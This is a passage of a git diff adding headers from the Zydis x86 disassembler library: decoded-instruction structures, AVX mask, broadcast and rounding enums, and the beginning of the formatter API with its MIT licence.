ZYDIS_EXCEPTION_CLASS_AVX3, + ZYDIS_EXCEPTION_CLASS_AVX4, + ZYDIS_EXCEPTION_CLASS_AVX5, + ZYDIS_EXCEPTION_CLASS_AVX6, + ZYDIS_EXCEPTION_CLASS_AVX7, + ZYDIS_EXCEPTION_CLASS_AVX8, + ZYDIS_EXCEPTION_CLASS_AVX11, + ZYDIS_EXCEPTION_CLASS_AVX12, + ZYDIS_EXCEPTION_CLASS_E1, + ZYDIS_EXCEPTION_CLASS_E1NF, + ZYDIS_EXCEPTION_CLASS_E2, + ZYDIS_EXCEPTION_CLASS_E2NF, + ZYDIS_EXCEPTION_CLASS_E3, + ZYDIS_EXCEPTION_CLASS_E3NF, + ZYDIS_EXCEPTION_CLASS_E4, + ZYDIS_EXCEPTION_CLASS_E4NF, + ZYDIS_EXCEPTION_CLASS_E5, + ZYDIS_EXCEPTION_CLASS_E5NF, + ZYDIS_EXCEPTION_CLASS_E6, + ZYDIS_EXCEPTION_CLASS_E6NF, + ZYDIS_EXCEPTION_CLASS_E7NM, + ZYDIS_EXCEPTION_CLASS_E7NM128, + ZYDIS_EXCEPTION_CLASS_E9NF, + ZYDIS_EXCEPTION_CLASS_E10, + ZYDIS_EXCEPTION_CLASS_E10NF, + ZYDIS_EXCEPTION_CLASS_E11, + ZYDIS_EXCEPTION_CLASS_E11NF, + ZYDIS_EXCEPTION_CLASS_E12, + ZYDIS_EXCEPTION_CLASS_E12NP, + ZYDIS_EXCEPTION_CLASS_K20, + ZYDIS_EXCEPTION_CLASS_K21, + ZYDIS_EXCEPTION_CLASS_AMXE1, + ZYDIS_EXCEPTION_CLASS_AMXE2, + ZYDIS_EXCEPTION_CLASS_AMXE3, + ZYDIS_EXCEPTION_CLASS_AMXE4, + ZYDIS_EXCEPTION_CLASS_AMXE5, + ZYDIS_EXCEPTION_CLASS_AMXE6, + + /** + * Maximum value of this enum. + */ + ZYDIS_EXCEPTION_CLASS_MAX_VALUE = ZYDIS_EXCEPTION_CLASS_AMXE6, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_EXCEPTION_CLASS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_EXCEPTION_CLASS_MAX_VALUE) +} ZydisExceptionClass; + +/* ---------------------------------------------------------------------------------------------- */ +/* AVX mask mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMaskMode` enum. + */ +typedef enum ZydisMaskMode_ +{ + ZYDIS_MASK_MODE_INVALID, + /** + * Masking is disabled for the current instruction (`K0` register is used). + */ + ZYDIS_MASK_MODE_DISABLED, + /** + * The embedded mask register is used as a merge-mask. + */ + ZYDIS_MASK_MODE_MERGING, + /** + * The embedded mask register is used as a zero-mask. + */ + ZYDIS_MASK_MODE_ZEROING, + /** + * The embedded mask register is used as a control-mask (element selector). + */ + ZYDIS_MASK_MODE_CONTROL, + /** + * The embedded mask register is used as a zeroing control-mask (element selector). + */ + ZYDIS_MASK_MODE_CONTROL_ZEROING, + + /** + * Maximum value of this enum. + */ + ZYDIS_MASK_MODE_MAX_VALUE = ZYDIS_MASK_MODE_CONTROL_ZEROING, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MASK_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MASK_MODE_MAX_VALUE) +} ZydisMaskMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* AVX broadcast-mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisBroadcastMode` enum. + */ +typedef enum ZydisBroadcastMode_ +{ + ZYDIS_BROADCAST_MODE_INVALID, + ZYDIS_BROADCAST_MODE_1_TO_2, + ZYDIS_BROADCAST_MODE_1_TO_4, + ZYDIS_BROADCAST_MODE_1_TO_8, + ZYDIS_BROADCAST_MODE_1_TO_16, + ZYDIS_BROADCAST_MODE_1_TO_32, + ZYDIS_BROADCAST_MODE_1_TO_64, + ZYDIS_BROADCAST_MODE_2_TO_4, + ZYDIS_BROADCAST_MODE_2_TO_8, + ZYDIS_BROADCAST_MODE_2_TO_16, + ZYDIS_BROADCAST_MODE_4_TO_8, + ZYDIS_BROADCAST_MODE_4_TO_16, + ZYDIS_BROADCAST_MODE_8_TO_16, + + /** + * Maximum value of this enum. + */ + ZYDIS_BROADCAST_MODE_MAX_VALUE = ZYDIS_BROADCAST_MODE_8_TO_16, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_BROADCAST_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_BROADCAST_MODE_MAX_VALUE) +} ZydisBroadcastMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* AVX rounding-mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisRoundingMode` enum. + */ +typedef enum ZydisRoundingMode_ +{ + ZYDIS_ROUNDING_MODE_INVALID, + /** + * Round to nearest. + */ + ZYDIS_ROUNDING_MODE_RN, + /** + * Round down. + */ + ZYDIS_ROUNDING_MODE_RD, + /** + * Round up. + */ + ZYDIS_ROUNDING_MODE_RU, + /** + * Round towards zero. + */ + ZYDIS_ROUNDING_MODE_RZ, + + /** + * Maximum value of this enum. + */ + ZYDIS_ROUNDING_MODE_MAX_VALUE = ZYDIS_ROUNDING_MODE_RZ, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_ROUNDING_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ROUNDING_MODE_MAX_VALUE) +} ZydisRoundingMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* KNC swizzle-mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisSwizzleMode` enum. + */ +typedef enum ZydisSwizzleMode_ +{ + ZYDIS_SWIZZLE_MODE_INVALID, + ZYDIS_SWIZZLE_MODE_DCBA, + ZYDIS_SWIZZLE_MODE_CDAB, + ZYDIS_SWIZZLE_MODE_BADC, + ZYDIS_SWIZZLE_MODE_DACB, + ZYDIS_SWIZZLE_MODE_AAAA, + ZYDIS_SWIZZLE_MODE_BBBB, + ZYDIS_SWIZZLE_MODE_CCCC, + ZYDIS_SWIZZLE_MODE_DDDD, + + /** + * Maximum value of this enum. + */ + ZYDIS_SWIZZLE_MODE_MAX_VALUE = ZYDIS_SWIZZLE_MODE_DDDD, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_SWIZZLE_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_SWIZZLE_MODE_MAX_VALUE) +} ZydisSwizzleMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* KNC conversion-mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisConversionMode` enum. + */ +typedef enum ZydisConversionMode_ +{ + ZYDIS_CONVERSION_MODE_INVALID, + ZYDIS_CONVERSION_MODE_FLOAT16, + ZYDIS_CONVERSION_MODE_SINT8, + ZYDIS_CONVERSION_MODE_UINT8, + ZYDIS_CONVERSION_MODE_SINT16, + ZYDIS_CONVERSION_MODE_UINT16, + + /** + * Maximum value of this enum. + */ + ZYDIS_CONVERSION_MODE_MAX_VALUE = ZYDIS_CONVERSION_MODE_UINT16, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_CONVERSION_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_CONVERSION_MODE_MAX_VALUE) +} ZydisConversionMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* Legacy prefix type */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisPrefixType` enum. + */ +typedef enum ZydisPrefixType_ +{ + /** + * The prefix is ignored by the instruction. + * + * This applies to all prefixes that are not accepted by the instruction in general or the + * ones that are overwritten by a prefix of the same group closer to the instruction opcode. + */ + ZYDIS_PREFIX_TYPE_IGNORED, + /** + * The prefix is effectively used by the instruction. + */ + ZYDIS_PREFIX_TYPE_EFFECTIVE, + /** + * The prefix is used as a mandatory prefix. + * + * A mandatory prefix is interpreted as an opcode extension and has no further effect on the + * instruction. + */ + ZYDIS_PREFIX_TYPE_MANDATORY, + + /** + * Maximum value of this enum. + */ + ZYDIS_PREFIX_TYPE_MAX_VALUE = ZYDIS_PREFIX_TYPE_MANDATORY, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_PREFIX_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_PREFIX_TYPE_MAX_VALUE) +} ZydisPrefixType; + +// TODO: Check effective for 66/67 prefixes (currently defaults to EFFECTIVE) + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoded instruction */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Information about a decoded instruction. + */ +typedef struct ZydisDecodedInstruction_ +{ + /** + * The machine mode used to decode this instruction. + */ + ZydisMachineMode machine_mode; + /** + * The instruction-mnemonic. + */ + ZydisMnemonic mnemonic; + /** + * The length of the decoded instruction. + */ + ZyanU8 length; + /** + * The instruction-encoding (`LEGACY`, `3DNOW`, `VEX`, `EVEX`, `XOP`). + */ + ZydisInstructionEncoding encoding; + /** + * The opcode-map. + */ + ZydisOpcodeMap opcode_map; + /** + * The instruction-opcode. + */ + ZyanU8 opcode; + /** + * The stack width. + */ + ZyanU8 stack_width; + /** + * The effective operand width. + */ + ZyanU8 operand_width; + /** + * The effective address width. + */ + ZyanU8 address_width; + /** + * The number of instruction-operands. + */ + ZyanU8 operand_count; + /** + * Detailed info for all instruction operands. + * + * Explicit operands are guaranteed to be in the front and ordered as they are printed + * by the formatter in Intel mode. No assumptions can be made about the order of hidden + * operands, except that they always located behind the explicit operands. + */ + ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT]; + /** + * Instruction attributes. + */ + ZydisInstructionAttributes attributes; + /** + * Information about accessed CPU flags. + * + * DEPRECATED. This field will be removed in the next major release. Please use the + * `cpu_flags_read`/`cpu_flags_written` or `fpu_flags_read`/`fpu_flags_written` fields + * instead. + */ + struct ZydisDecodedInstructionAccessedFlags_ + { + /** + * The CPU-flag action. + * + * Use `ZydisGetAccessedFlagsByAction` to get a mask with all flags matching a specific + * action. + */ + ZydisCPUFlagAction action; + } accessed_flags[ZYDIS_CPUFLAG_MAX_VALUE + 1]; + /** + * A mask containing the CPU flags read by the instruction. + * + * The bits in this mask correspond to the actual bits in the `FLAGS/EFLAGS/RFLAGS` + * register. + * + * This mask includes the actions `TESTED` and `TESTED_MODIFIED`. + */ + ZydisCPUFlags cpu_flags_read; + /** + * A mask containing the CPU flags written by the instruction. + * + * The bits in this mask correspond to the actual bits in the `FLAGS/EFLAGS/RFLAGS` + * register. + * + * This mask includes the actions `TESTED_MODIFIED`, `SET_0`, `SET_1` and `UNDEFINED`. + */ + ZydisCPUFlags cpu_flags_written; + /** + * A mask containing the FPU flags read by the instruction. + */ + ZydisFPUFlags fpu_flags_read; + /** + * A mask containing the FPU flags written by the instruction. + */ + ZydisFPUFlags fpu_flags_written; + /** + * Extended info for `AVX` instructions. + */ + struct ZydisDecodedInstructionAvx_ + { + /** + * The `AVX` vector-length. + */ + ZyanU16 vector_length; + /** + * Info about the embedded writemask-register (`AVX-512` and `KNC` only). + */ + struct ZydisDecodedInstructionAvxMask_ + { + /** + * The masking mode. + */ + ZydisMaskMode mode; + /** + * The mask register. + */ + ZydisRegister reg; + } mask; + /** + * Contains info about the `AVX` broadcast. + */ + struct ZydisDecodedInstructionAvxBroadcast_ + { + /** + * Signals, if the broadcast is a static broadcast. + * + * This is the case for instructions with inbuilt broadcast functionality, which is + * always active and not controlled by the `EVEX/MVEX.RC` bits. + */ + ZyanBool is_static; + /** + * The `AVX` broadcast-mode. + */ + ZydisBroadcastMode mode; + } broadcast; + /** + * Contains info about the `AVX` rounding. + */ + struct ZydisDecodedInstructionAvxRounding_ + { + /** + * The `AVX` rounding-mode. + */ + ZydisRoundingMode mode; + } rounding; + /** + * Contains info about the `AVX` register-swizzle (`KNC` only). + */ + struct ZydisDecodedInstructionAvxSwizzle_ + { + /** + * The `AVX` register-swizzle mode. + */ + ZydisSwizzleMode mode; + } swizzle; + /** + * Contains info about the `AVX` data-conversion (`KNC` only). + */ + struct ZydisDecodedInstructionAvxConversion_ + { + /** + * The `AVX` data-conversion mode. + */ + ZydisConversionMode mode; + } conversion; + /** + * Signals, if the `SAE` (suppress-all-exceptions) functionality is + * enabled for the instruction. + */ + ZyanBool has_sae; + /** + * Signals, if the instruction has a memory-eviction-hint (`KNC` only). + */ + ZyanBool has_eviction_hint; + // TODO: publish EVEX tuple-type and MVEX functionality + } avx; + /** + * Meta info. + */ + struct ZydisDecodedInstructionMeta_ + { + /** + * The instruction category. + */ + ZydisInstructionCategory category; + /** + * The ISA-set. + */ + ZydisISASet isa_set; + /** + * The ISA-set extension. + */ + ZydisISAExt isa_ext; + /** + * The branch type. + */ + ZydisBranchType branch_type; + /** + * The exception class. + */ + ZydisExceptionClass exception_class; + } meta; + /** + * Detailed info about different instruction-parts like `ModRM`, `SIB` or + * encoding-prefixes. + */ + struct ZydisDecodedInstructionRaw_ + { + /** + * The number of legacy prefixes. + */ + ZyanU8 prefix_count; + /** + * Detailed info about the legacy prefixes (including `REX`). + */ + struct ZydisDecodedInstructionRawPrefixes_ + { + /** + * The prefix type. + */ + ZydisPrefixType type; + /** + * The prefix byte. + */ + ZyanU8 value; + } prefixes[ZYDIS_MAX_INSTRUCTION_LENGTH]; + /** + * Detailed info about the `REX` prefix. + */ + struct ZydisDecodedInstructionRawRex_ + { + /** + * 64-bit operand-size promotion. + */ + ZyanU8 W; + /** + * Extension of the `ModRM.reg` field. + */ + ZyanU8 R; + /** + * Extension of the `SIB.index` field. + */ + ZyanU8 X; + /** + * Extension of the `ModRM.rm`, `SIB.base`, or `opcode.reg` field. + */ + ZyanU8 B; + /** + * The offset of the effective `REX` byte, relative to the beginning of the + * instruction, in bytes. + * + * This offset always points to the "effective" `REX` prefix (the one closest to the + * instruction opcode), if multiple `REX` prefixes are present. + * + * Note that the `REX` byte can be the first byte of the instruction, which would lead + * to an offset of `0`. Please refer to the instruction attributes to check for the + * presence of the `REX` prefix. + */ + ZyanU8 offset; + } rex; + /** + * Detailed info about the `XOP` prefix. + */ + struct ZydisDecodedInstructionRawXop_ + { + /** + * Extension of the `ModRM.reg` field (inverted). + */ + ZyanU8 R; + /** + * Extension of the `SIB.index` field (inverted). + */ + ZyanU8 X; + /** + * Extension of the `ModRM.rm`, `SIB.base`, or `opcode.reg` field (inverted). + */ + ZyanU8 B; + /** + * Opcode-map specifier. + */ + ZyanU8 m_mmmm; + /** + * 64-bit operand-size promotion or opcode-extension. + */ + ZyanU8 W; + /** + * `NDS`/`NDD` (non-destructive-source/destination) register + * specifier (inverted). + */ + ZyanU8 vvvv; + /** + * Vector-length specifier. + */ + ZyanU8 L; + /** + * Compressed legacy prefix. + */ + ZyanU8 pp; + /** + * The offset of the first xop byte, relative to the beginning of + * the instruction, in bytes. + */ + ZyanU8 offset; + } xop; + /** + * Detailed info about the `VEX` prefix. + */ + struct ZydisDecodedInstructionRawVex_ + { + /** + * Extension of the `ModRM.reg` field (inverted). + */ + ZyanU8 R; + /** + * Extension of the `SIB.index` field (inverted). + */ + ZyanU8 X; + /** + * Extension of the `ModRM.rm`, `SIB.base`, or `opcode.reg` field (inverted). + */ + ZyanU8 B; + /** + * Opcode-map specifier. + */ + ZyanU8 m_mmmm; + /** + * 64-bit operand-size promotion or opcode-extension. + */ + ZyanU8 W; + /** + * `NDS`/`NDD` (non-destructive-source/destination) register specifier + * (inverted). + */ + ZyanU8 vvvv; + /** + * Vector-length specifier. + */ + ZyanU8 L; + /** + * Compressed legacy prefix. + */ + ZyanU8 pp; + /** + * The offset of the first `VEX` byte, relative to the beginning of the instruction, in + * bytes. + */ + ZyanU8 offset; + /** + * The size of the `VEX` prefix, in bytes. + */ + ZyanU8 size; + } vex; + /** + * Detailed info about the `EVEX` prefix. + */ + struct ZydisDecodedInstructionRawEvex_ + { + /** + * Extension of the `ModRM.reg` field (inverted). + */ + ZyanU8 R; + /** + * Extension of the `SIB.index/vidx` field (inverted). + */ + ZyanU8 X; + /** + * Extension of the `ModRM.rm` or `SIB.base` field (inverted). + */ + ZyanU8 B; + /** + * High-16 register specifier modifier (inverted). + */ + ZyanU8 R2; + /** + * Opcode-map specifier. + */ + ZyanU8 mm; + /** + * 64-bit operand-size promotion or opcode-extension. + */ + ZyanU8 W; + /** + * `NDS`/`NDD` (non-destructive-source/destination) register specifier + * (inverted). + */ + ZyanU8 vvvv; + /** + * Compressed legacy prefix. + */ + ZyanU8 pp; + /** + * Zeroing/Merging. + */ + ZyanU8 z; + /** + * Vector-length specifier or rounding-control (most significant bit). + */ + ZyanU8 L2; + /** + * Vector-length specifier or rounding-control (least significant bit). + */ + ZyanU8 L; + /** + * Broadcast/RC/SAE context. + */ + ZyanU8 b; + /** + * High-16 `NDS`/`VIDX` register specifier. + */ + ZyanU8 V2; + /** + * Embedded opmask register specifier. + */ + ZyanU8 aaa; + /** + * The offset of the first evex byte, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } evex; + /** + * Detailed info about the `MVEX` prefix. + */ + struct ZydisDecodedInstructionRawMvex_ + { + /** + * Extension of the `ModRM.reg` field (inverted). + */ + ZyanU8 R; + /** + * Extension of the `SIB.index/vidx` field (inverted). + */ + ZyanU8 X; + /** + * Extension of the `ModRM.rm` or `SIB.base` field (inverted). + */ + ZyanU8 B; + /** + * High-16 register specifier modifier (inverted). + */ + ZyanU8 R2; + /** + * Opcode-map specifier. + */ + ZyanU8 mmmm; + /** + * 64-bit operand-size promotion or opcode-extension. + */ + ZyanU8 W; + /** + * `NDS`/`NDD` (non-destructive-source/destination) register specifier + * (inverted). + */ + ZyanU8 vvvv; + /** + * Compressed legacy prefix. + */ + ZyanU8 pp; + /** + * Non-temporal/eviction hint. + */ + ZyanU8 E; + /** + * Swizzle/broadcast/up-convert/down-convert/static-rounding controls. + */ + ZyanU8 SSS; + /** + * High-16 `NDS`/`VIDX` register specifier. + */ + ZyanU8 V2; + /** + * Embedded opmask register specifier. + */ + ZyanU8 kkk; + /** + * The offset of the first mvex byte, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } mvex; + /** + * Detailed info about the `ModRM` byte. + */ + struct ZydisDecodedInstructionModRm_ + { + /** + * The addressing mode. + */ + ZyanU8 mod; + /** + * Register specifier or opcode-extension. + */ + ZyanU8 reg; + /** + * Register specifier or opcode-extension. + */ + ZyanU8 rm; + /** + * The offset of the `ModRM` byte, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } modrm; + /** + * Detailed info about the `SIB` byte. + */ + struct ZydisDecodedInstructionRawSib_ + { + /** + * The scale factor. + */ + ZyanU8 scale; + /** + * The index-register specifier. + */ + ZyanU8 index; + /** + * The base-register specifier. + */ + ZyanU8 base; + /** + * The offset of the `SIB` byte, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } sib; + /** + * Detailed info about displacement-bytes. + */ + struct ZydisDecodedInstructionRawDisp_ + { + /** + * The displacement value + */ + ZyanI64 value; + /** + * The physical displacement size, in bits. + */ + ZyanU8 size; + // TODO: publish cd8 scale + /** + * The offset of the displacement data, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } disp; + /** + * Detailed info about immediate-bytes. + */ + struct ZydisDecodedInstructionRawImm_ + { + /** + * Signals, if the immediate value is signed. + */ + ZyanBool is_signed; + /** + * Signals, if the immediate value contains a relative offset. You can use + * `ZydisCalcAbsoluteAddress` to determine the absolute address value. + */ + ZyanBool is_relative; + /** + * The immediate value. + */ + union ZydisDecodedInstructionRawImmValue_ + { + ZyanU64 u; + ZyanI64 s; + } value; + /** + * The physical immediate size, in bits. + */ + ZyanU8 size; + /** + * The offset of the immediate data, relative to the beginning of the + * instruction, in bytes. + */ + ZyanU8 offset; + } imm[2]; + } raw; +} ZydisDecodedInstruction; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_INSTRUCTIONINFO_H */ diff --git a/Theodosius/Zydis/Formatter.h b/Theodosius/Zydis/Formatter.h new file mode 100644 index 0000000..c68bcde --- /dev/null +++ b/Theodosius/Zydis/Formatter.h @@ -0,0 +1,1179 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Functions for formatting instructions to human-readable text. + */ + +#ifndef ZYDIS_FORMATTER_H +#define ZYDIS_FORMATTER_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Constants */ +/* ============================================================================================== */ + +/** + * Use this constant as value for `runtime_address` in `ZydisFormatterFormatInstruction(Ex)` + * or `ZydisFormatterFormatOperand(Ex)` to print relative values for all addresses. + */ +#define ZYDIS_RUNTIME_ADDRESS_NONE (ZyanU64)(-1) + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatter style */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatterStyle` enum. + */ +typedef enum ZydisFormatterStyle_ +{ + /** + * Generates `AT&T`-style disassembly. + */ + ZYDIS_FORMATTER_STYLE_ATT, + /** + * Generates `Intel`-style disassembly. + */ + ZYDIS_FORMATTER_STYLE_INTEL, + /** + * Generates `MASM`-style disassembly that is directly accepted as input for + * the `MASM` assembler. + * + * The runtime-address is ignored in this mode. + */ + ZYDIS_FORMATTER_STYLE_INTEL_MASM, + + /** + * Maximum value of this enum. + */ + ZYDIS_FORMATTER_STYLE_MAX_VALUE = ZYDIS_FORMATTER_STYLE_INTEL_MASM, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_FORMATTER_STYLE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FORMATTER_STYLE_MAX_VALUE) +} ZydisFormatterStyle; + +/* ---------------------------------------------------------------------------------------------- */ +/* Properties */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatterProperty` enum. + */ +typedef enum ZydisFormatterProperty_ +{ + /* ---------------------------------------------------------------------------------------- */ + /* General */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the printing of effective operand-size suffixes (`AT&T`) or operand-sizes + * of memory operands (`INTEL`). + * + * Pass `ZYAN_TRUE` as value to force the formatter to always print the size, or `ZYAN_FALSE` + * to only print it if needed. + */ + ZYDIS_FORMATTER_PROP_FORCE_SIZE, + /** + * Controls the printing of segment prefixes. + * + * Pass `ZYAN_TRUE` as value to force the formatter to always print the segment register of + * memory-operands or `ZYAN_FALSE` to omit implicit `DS`/`SS` segments. + */ + ZYDIS_FORMATTER_PROP_FORCE_SEGMENT, + /** + * Controls the printing of branch addresses. + * + * Pass `ZYAN_TRUE` as value to force the formatter to always print relative branch addresses + * or `ZYAN_FALSE` to use absolute addresses, if a runtime-address different to + * `ZYDIS_RUNTIME_ADDRESS_NONE` was passed. + */ + ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_BRANCHES, + /** + * Controls the printing of `EIP`/`RIP`-relative addresses. + * + * Pass `ZYAN_TRUE` as value to force the formatter to always print relative addresses for + * `EIP`/`RIP`-relative operands or `ZYAN_FALSE` to use absolute addresses, if a runtime- + * address different to `ZYDIS_RUNTIME_ADDRESS_NONE` was passed. + */ + ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_RIPREL, + /** + * Controls the printing of branch-instructions sizes. + * + * Pass `ZYAN_TRUE` as value to print the size (`short`, `near`) of branch + * instructions or `ZYAN_FALSE` to hide it. + * + * Note that the `far`/`l` modifier is always printed. + */ + ZYDIS_FORMATTER_PROP_PRINT_BRANCH_SIZE, + + /** + * Controls the printing of instruction prefixes. + * + * Pass `ZYAN_TRUE` as value to print all instruction-prefixes (even ignored or duplicate + * ones) or `ZYAN_FALSE` to only print prefixes that are effectively used by the instruction. + */ + ZYDIS_FORMATTER_PROP_DETAILED_PREFIXES, + + /* ---------------------------------------------------------------------------------------- */ + /* Numeric values */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the base of address values. + */ + ZYDIS_FORMATTER_PROP_ADDR_BASE, + /** + * Controls the signedness of relative addresses. Absolute addresses are + * always unsigned. + */ + ZYDIS_FORMATTER_PROP_ADDR_SIGNEDNESS, + /** + * Controls the padding of absolute address values. + * + * Pass `ZYDIS_PADDING_DISABLED` to disable padding, `ZYDIS_PADDING_AUTO` to padd all + * addresses to the current stack width (hexadecimal only), or any other integer value for + * custom padding. + */ + ZYDIS_FORMATTER_PROP_ADDR_PADDING_ABSOLUTE, + /** + * Controls the padding of relative address values. + * + * Pass `ZYDIS_PADDING_DISABLED` to disable padding, `ZYDIS_PADDING_AUTO` to padd all + * addresses to the current stack width (hexadecimal only), or any other integer value for + * custom padding. + */ + ZYDIS_FORMATTER_PROP_ADDR_PADDING_RELATIVE, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the base of displacement values. + */ + ZYDIS_FORMATTER_PROP_DISP_BASE, + /** + * Controls the signedness of displacement values. + */ + ZYDIS_FORMATTER_PROP_DISP_SIGNEDNESS, + /** + * Controls the padding of displacement values. + * + * Pass `ZYDIS_PADDING_DISABLED` to disable padding, or any other integer value for custom + * padding. + */ + ZYDIS_FORMATTER_PROP_DISP_PADDING, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the base of immediate values. + */ + ZYDIS_FORMATTER_PROP_IMM_BASE, + /** + * Controls the signedness of immediate values. + * + * Pass `ZYDIS_SIGNEDNESS_AUTO` to automatically choose the most suitable mode based on the + * operands `ZydisDecodedOperand.imm.is_signed` attribute. + */ + ZYDIS_FORMATTER_PROP_IMM_SIGNEDNESS, + /** + * Controls the padding of immediate values. + * + * Pass `ZYDIS_PADDING_DISABLED` to disable padding, `ZYDIS_PADDING_AUTO` to padd all + * immediates to the operand-width (hexadecimal only), or any other integer value for custom + * padding. + */ + ZYDIS_FORMATTER_PROP_IMM_PADDING, + + /* ---------------------------------------------------------------------------------------- */ + /* Text formatting */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the letter-case for prefixes. + * + * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. + */ + ZYDIS_FORMATTER_PROP_UPPERCASE_PREFIXES, + /** + * Controls the letter-case for the mnemonic. + * + * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. + */ + ZYDIS_FORMATTER_PROP_UPPERCASE_MNEMONIC, + /** + * Controls the letter-case for registers. + * + * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. + */ + ZYDIS_FORMATTER_PROP_UPPERCASE_REGISTERS, + /** + * Controls the letter-case for typecasts. + * + * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. + */ + ZYDIS_FORMATTER_PROP_UPPERCASE_TYPECASTS, + /** + * Controls the letter-case for decorators. + * + * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. + */ + ZYDIS_FORMATTER_PROP_UPPERCASE_DECORATORS, + + /* ---------------------------------------------------------------------------------------- */ + /* Number formatting */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the prefix for decimal values. + * + * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters + * to set a custom prefix, or `ZYAN_NULL` to disable it. + * + * The string is deep-copied into an internal buffer. + */ + ZYDIS_FORMATTER_PROP_DEC_PREFIX, + /** + * Controls the suffix for decimal values. + * + * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters + * to set a custom suffix, or `ZYAN_NULL` to disable it. + * + * The string is deep-copied into an internal buffer. + */ + ZYDIS_FORMATTER_PROP_DEC_SUFFIX, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * Controls the letter-case of hexadecimal values. + * + * Pass `ZYAN_TRUE` as value to format in uppercase and `ZYAN_FALSE` to format in lowercase. + * + * The default value is `ZYAN_TRUE`. + */ + ZYDIS_FORMATTER_PROP_HEX_UPPERCASE, + /** + * Controls the prefix for hexadecimal values. + * + * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters + * to set a custom prefix, or `ZYAN_NULL` to disable it. + * + * The string is deep-copied into an internal buffer. + */ + ZYDIS_FORMATTER_PROP_HEX_PREFIX, + /** + * Controls the suffix for hexadecimal values. + * + * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters + * to set a custom suffix, or `ZYAN_NULL` to disable it. + * + * 